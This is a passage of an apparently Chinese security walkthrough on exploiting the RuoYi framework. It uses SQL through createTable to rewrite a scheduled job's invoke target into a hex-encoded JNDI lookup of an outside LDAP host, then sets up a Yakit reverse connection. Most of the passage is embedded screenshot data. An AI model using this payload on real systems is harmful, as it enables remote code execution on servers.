XD99+YjtmDWw45rxPnWN4oxy3TOkVbftANFXOb0tQpHWiaVKyrT9sL7PLVd6goU3VupEOdmzo1OLAh8XdlYv4RGc8tc53WW98ti1lHJEkluzU4sDu13McLVedsY4GB0fT3s3c/mI+tnvUe6VBlU3MyThO6n6PWo/n0cebXP1psmU1t8e6Lavyq9NdnX9aPXozps6rTVxyjkt87/ap+2LAlESB+b3Jc+s2P6dcds/D+xgoaf17//g3ngt7RheEiffxDGS09sPQ5DqDuoM8Gbd/DiMKsmDqrITW6T5JL0iW9/so51VZ4Tt5TZzV0pkZblnz556GsUB/JdhkiKN7j7JBu1pY6qWd4bIGXukHbd9Wo5/gpTS/wkgBgtN264J3TjaupU3q+pVBHAwNujgvqthrz/EZeUIvr/D2mY02TinUFBwdM5U8GgltVayzAmLpbpFj8Ijl+nk5clG7Q9qcbVd79mkbjfx90ls06fp9+5Wzk4/d0f5taHmyd89MuxukTQcROxVKCf/NfvnEeU6fU2V2jo4lAhXcbKkI9msfyfX9v3cR3Dihx1p/86nrVnhnW61NpFsRej9o654f24IC2ZD3Jr25SrKxXQyPu6ea6/uHTR1i+V0o7jLPaY21dacokoe3Qnt8zif2zWXvb3O3EeBxatHpck3KcMPYFI+2/UhVtzGx5k7zHLe9yUtfJuPypCY2nUQJvm5o+P6zTrjaW4TpXsttd9pInw+efwnxume+0RQ84ypf1OiIlByolyzD95mRac/Du59HeI1KsKXkDw94Pnf2XJEU4to68pp4yx34v2a2jdec0dP5S4u+09rNPPZpPH2de/aMsyGAgeVrf/bct+qG69SePfF4PPeH4f9OLeu/dF/UXz0lfry/W3x75vB565PN6/LnX1bCl2DWPV//G+5kkPaoHnaOP3xhSZ8UmfTRiycYnfqnxiV9GXpPxiV/qV7+6Evn32TGmY1U7dMxRsUfbd6iyKv6vWSenHJ+3e4IRIx2qrOqwO1WXdPJZ57Qdic7WaPsOVT7rCDBMndIBz3LlmMeB/kuuchywG7apjMnpxxxlsb8f6UhO4yyLY5nubeJen5SyOudX1aHRkQ7PfINN9zdbvw0sk2O/jHSosmq/enROLfWO7era9sltmpifd185t1/vEdeJMphVDr99mtwGHRp1LdtdH3a2nJO696fsR/c+jFJXwucXxr0sv3pnWE+P6f7m5HymTumAqw7G55f8zHd/e5YxfX5Y2vpI8kRdsluDYSdu1zZv1smLpvX2ayfuduaqM0FtNCBgbHW+HlOxorV3/7LF6318fwTsB++6j5zSAcdvE9s7ZF2ddcf9e5ujPU/3N1uPP505op2J7ZR67Awto8/+MR1D4uUateubq777trlg5Zs2Bn8ZcOwwH6c2a
<pre blockindex=111><code class="hljs language-php">genTableServiceImpl.createTable(<span class=hljs-string>'UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 1;'</span>)
</code></pre>
<p blockindex=112>可以成功创建<br>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABncAAAF7CAYAAAAAOd4GAAAgAElEQVR4nOzdeVxU590//M8MM8CAIjCACFGjoiIiSoK/JKDBuMTGWOWJSdEEWxfS1qYurSY+fe6ocemvL43ebm1Ncrs1MVGbpWqM1rhEVEjuSoIionGNC6jsoswIM8w8fwzncGZjZmBgWD7vvnhV5lznOtc5Z3KYOd/z/V6ywSNSjGe++Rdam/LycnTq1MnTw2iVHj58CL3Ry9PDoBaikNXyvwUiIiIiIiIiIiJqVR4+fIigoCBPD8NMeXl5qxtTc1EAQGFhoafHYZNWq/X0EFollUrl6SFQCysuLvb0EIiIiIiIiIiIiIjMtMZ7+K1xTM1BAQABAV08PQ5ykdLTA6AW5AWl0tvTgyAiIiIiIiIiIiKiVkLu6QEQERERERERERERERGR8xjcISIiIiIiIiIiIiIiakMY3CEiIiIiIiIiIiIiImpDGNwhIiIiIiIiIiIiIiJqQxjcISIiIiIiIiIiIiIiakMY3CEiIiIiIiIiIiIiImpDGNwhIiIiIiIiIiIiIiJqQxjcISIiIiIiIiIiIiIiakMY3CEiIiIiIiIiIiIiImpDFM3VsdFobK6uiYiIiIiIiIiIiIiIOhSZTCb+2+3BHSGoYzQazf5NRERERERERERERERErhGCOnK5XPzdbcEdaSDHYDCY/b800ENERERERERERERERESOyWQy8cfLy0sM8LgluCMN4BgMBiiVCnh7e0OhUIgbIiIiIiIiIiIiIiIiIucYDAbU1NRAq9VCq30Eb29vMcDT5OCOZWZOp06doFQ221Q+RERERERERERERERE7Z5cLoevry98fX3h51eN+/crYTAYTIk17tiAENjp3JmBHSIiIiIiIiIiIiIiInfy8fFBSIgaBoMBOp2uacEdaSk2Pz8/lmAjIiIiIiIiIiIiIiJqBnK5HIGBgaipqWl65o4wxw4zdoiIiIiIiIiIiIiIiJqPr68PfHx8Gh/ckc614+3t7c6xERERERERERERERERkQ3+/n5NL8smTN5DREREREREREREREREzcvX17fpZdmMRiPn2iEiIiIiIiIiIiIiImoBXl5eTc/cMRqN7hoPEREREREREREREREROeCWzB0iIiIiIiIiIiIiIiJqGaynRkRERERERERERERE1IYwuENERERE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
<p blockindex=113>运行后任务1的<strong>调用目标字符串</strong>也被成功修改</p>
<p blockindex=114><img src="data:image/png;base64,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
<p blockindex=115>紧接着运行任务1</p>
<p blockindex=116><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABFsAAAGhCAYAAAC+kbvQAAAgAElEQVR4nOzde1jUZf7/8acnMHVcFUhDVtfSQElFSyMxWTUMFbd0TTI7atrqVpharlu2fWt33dZDUm5uGNpWZppprmTmcSVx8VDisWG1LH5IGmDkmMkg8vtjZmAYZoYBBwfw9biurnTmc7hnmJH5vOZ9v+8GFy5cKKGOO3uuiJYtmvh6GD5xNT/2+kw/1/pFP0/xlbPniggKaOHrYVyVcvPP6X0vIiJyFWvwfZ6pzoctIiIi4pzCFt/IzT/n6yGIiIiIDzUoKSlR2CIiIiIiIiIi4iUNfT0AEREREREREZH6RGGLiIiIiIiIiIgXKWwREREREREREfEihS0iIiIiIiIiIl6ksEVERERERERExIsUtoiIiIiIiIiIeJHCFhERERERERERL1LYIiIiIiIiIiLiRQpbRERERERERES8SGGLiIiIiIiIiIgXKWwREREREREREfEihS0iIiIiIiIiIl6ksEVERERERERExIsUtoiIiIiIiIiIeJHCFhERERERERERL1LYIiIiIiIiIiLiRQpbRERERERERES8SGGLiIiIiIiIiIgXKWwREREREREREfEihS0iIiIiIiIiIl6ksEVERERERERExIsUtoiIiIiIiIiIeJHCFhERERERERERL1LYIiIiIiIiIiLiRQpbRERERERERES8SGGLiIiIiIiIiIgXKWwRqUF5u1aQlJREitHXI5GrjjGFpA1uXni5aaxISnK/jYiIiIiIVEtjXw9ApP7KI/NbExBM57DqHsNISlIqpptGMbZfoPWmFJJScwgeMIk463Hzdq1gzWEDAybF4e5Uxg1JpGYbCB85lqigqt8vtUUeaSvWcMRkf1twuZ9/3hkTZKeSYgwrfZ2Uk/8DJiD4+mq/OL3KuCGJ1B/DGTU2ikBfD0ZERERE5DIpbKmvjCkkpZpcXDRbL9R+MYBJwyq70LJc7OdUdxyGK3/xZAkeTB6cu5i8w2nsOxNAZP9wWnm7zis3kywTENLZbQByxRhTSM2G4AGughQjx7PBcFOMghYfKX3tVspA+MhJTCr3c8ojLxew3hbYbywDCpJITU3BGFYxhDN+nUNVgkDnY7MGc/mWALAy9gGh47FTs8EQEuDZYEREREREajnfhi0ZiwmNX1jh5qAukdzQoxtD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
<p blockindex=117>接下来弹个计算机</p>
<p blockindex=118>yakit开个反连，配置一下</p>
<p blockindex=119><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAIOCAYAAABZIBDJAAAgAElEQVR4nOzde1yU9533/xei4oqCNhAPRbFhEaFWIXULDTYksdKEiCZbE2JsamtzUBtX70Jr8nM3TbK/3K0r7MqaimtbUzdVY6U1iLpZrKmkksAjbkRjIMjSiCGesImAGEeFuf+4ZmAO1xw4ycH3s488CnOdvnPBzOD1vj6fb8D5C01WRKTPCb9lRG8PQbpJ/V8v9fYQRERERERERERERETkJhFgtVoVAEufZbFYensIIiIiIiIiIiIiIiIiIv3GoN4egIiIiIiIiIiIiIiIiIiIdA8FwCIiIiIiIiIiIiIiIiIiA4QCYBERERERERERERERERGRAUIBsIiIiIiIiIiIiIiIiIjIAKEAWERERERERERERERERERkgFAALCIiIiIiIiIiIiIiIiIyQCgAFhEREREREREREREREREZIBQAi4iIiIiIiIiIiIiIiIgMEAqARUREREREREREREREREQGCAXA0mfV//VSbw9BREREREREREREREREpF9RACwiIiIiIiIiIiIiIiIiMkAM7srGlrf/0+2xQSFjGTI1tSu7FekRjY3NAISEBPfySERERERERERERERERER6RqcD4CtvZHPt+H+bLrv6zqv8zcPZDAod0+mBGcppzv4xrfZvI9cy8qF44CyXf5nPoCeeZpjrsd9cgeWv37etZ+Ysl3/5GC0N7Y8E3P4qI8LyaSoqMN8kdDlBT8xlqMnYSN1P8DT/ns3VN1dgea/CZN9f47rLmNrGdc9Y/3YuPr1d9j4A985O6uWRiIiIiIiIiIiIiIiIiPSMTgfAnsJfgNaGs3z+uyw/QmCXgNfNPIZk7ce9XnMsg6OqsewsZ5hT0HuW6zUVDEr0FP62G2QLbq/snM11+4NmQe+xl2kqc9/+yk7buItm01Tk4SBtgbWHx1z2PcghTHYalxftoXIcgd/JZbhjXnzsZZrKJrY/p7O7ufTb9Vg9jc0Px45X09BwiW8kJ3hd788lRwB8riciIiIiIiIiIiIiIiIi3adLLaC98T8ENgku/TD0nme5/svHaD62n8Cq2VyrdVjoIZQd1IFqXburF6ph1EynUPjKTvvx5jEky0MV8nsQ+A2TgLX2xzRlO3wfurzty1aXcQfc4ucg3cJch2DdYf+MncuIrLm2Kmk/9+2ioeESfy4pp6GxmTn3zTRdZ+tr/0XtqbNM+0p05w4iIiIiIiIiIiIiIiIiIp3SYwEwtIfAwU+82gN7H8vwxHk0VZUT/NB+hmGrmr3Fv7bJjmGra9Dq3Ko5jsDvtIerV3bO5hprGZkVb6yXvYLWtgDb3l7aS6jdzRXA7s5y+Zc/xnr7q4wMyzetXu6KaVONUPfPJeUAbiGwPfyNnDjWY0AsIiIiIiIiIiIiIiIiIj2jRwNgMELglo+PEjhhuoc1Kmj57Wya/NiXWwXvtKcZaf/+7G6u185j8ENjsQex1kTPFb+mLaBtht6Ty9B7TDY69jLXb3mVkbaAeeg9uQwNe5kmh/EH3N6+3NXQe3Kd20tPe5qRt+7mUnY+g7P2M8xWuWu9/VVGPLTf26nwYizDn7Bte6yTu/AiNHSExxDYMfxd+Mh93X9wEREREREREREREREREfGqxwNggNaGcwRO8LTUqJYd9Gcv1bvHXqapCAIdqmONFsztlbZX/rwebn/VrR1zhzSsx5K9HovbAlur52lPM6LtMfP5i63vPUbTeyatoY+9TFNRgcdDX8su4Jr9m/ceo+k929ednKu3J5mFwA0NTQp/RURERERERERERERERHpZlwPg4RnZptW9rQ3nuPLGWlo+PurXfobFzKOpKJ8r97jOqXuWy2UFBDiEu8MeslfLvmJ7pJyWWrDWOgSn4DIXsB9zDYfOYxAF4Fg5fOxlmsomMqitvbN95XkMydpPsNl+zu7mUrZDVXPkWkY+9DQjpz3tsJItQA5dTlA6XP3teqx9MOz1xCwE7ivh79ul79PY1Oz2eF3dOQDe2F9qut0diV8hJMT0JyoiIiIiIiIiIiIiIiLSL3Q5APZe3dsB055mSNVsru2cyTCHEPTqmz+jheUEeZ3XN57gLMeWyb5bQJvPA